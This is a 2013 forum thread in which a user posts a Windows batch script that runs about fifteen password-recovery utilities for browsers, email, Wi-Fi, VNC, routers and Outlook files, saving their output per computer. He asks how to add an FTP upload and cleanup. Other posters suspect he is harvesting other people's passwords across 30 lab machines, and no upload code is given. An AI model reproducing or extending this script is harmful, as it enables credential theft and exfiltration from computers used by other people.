Page 1 of 1

coding a batch file.

Posted: 02 Sep 2013 20:14
by mcfly007
Hi im coding a batch file to recover my lost passwords.
i need to be able to have this batch file upload a subfolder to ftp and delete all previous files/folders .
any ideas would be greatly appreciated.
Code:

Code: Select all

@echo off
cls

ping 127.0.0.1 -n 1 -w 5000 > nul


7z e archive.rar



mkdir %computername%

mspass.exe /shtml %computername%\mspass.html
iepv.exe /shtml %computername%\mspass.html
mailpv.exe /shtml %computername%\mailpv.html
ChromePass.exe /shtml %computername%\ChromePass.html
PstPassword.exe /shtml %computername%\PstPassword.html
VncPassView.exe /shtml %computername%\VncPassView.html
WirelessKeyView.exe /shtml %computername%\WirelesskeyView.html
netpass.exe /shtml %computername%\netpass.html
WebBrowserPassview.exe /shtml %computername%\WebBrowserPassview.html
Dialupass.exe /shtml %computername%\Dialuppass.html
pspv.exe /shtml %computername%\pspv.html
OperaPassView.exe /shtml %computername%\OperaPassView.html
RouterPassView.exe /shtml %computername%\RouterPassView.html
PasswordFox.exe /shtml %computername%\PasswordFox.html
BulletsPassView.exe /shtml %computername%\BulletsPassView.html


Re: coding a batch file.

Posted: 02 Sep 2013 20:20
by foxidrive
mcfly007 wrote:Hi im coding a batch file to recover my lost passwords.


Surely you would do that only once, write down your passwords, and don't need a batch file.

Re: coding a batch file.

Posted: 02 Sep 2013 20:27
by mcfly007
foxidrive , i have 30 computers , I work in a tech lab so that would be impossible to write down 300 passwords and have them memorized

Re: coding a batch file.

Posted: 02 Sep 2013 21:49
by foxidrive
mcfly007 wrote:foxidrive , i have 30 computers , I work in a tech lab so that would be impossible to write down 300 passwords and have them memorized


So you want to recover everyone else passwords. That's what I thought.

Re: coding a batch file.

Posted: 03 Sep 2013 00:49
by mcfly007
I work in a tech lab, im a systems administrator so i want to recover my passwords on 30 computers.

Re: coding a batch file.

Posted: 05 Sep 2013 18:22
by Jess Selien
You could create a batch script to auto generate a set style and then have it help remind you what the password is with a date\name\number combo mix. then have it answer your question to which app\computer you are using. Then always remember that the answer it gives you is a key and you add +1 or -1 to the number the script gives you for some minor encryption.

Example - ask user for name of computer and app then it extracts from a data file. But to do that would mean to store the output to a file you would have to secure.

But even with 300 passwords, one could do a simple control find in a text utility to lookup servername and skim through the app names in a database.

But I agree, password recovery would be in the hacking category.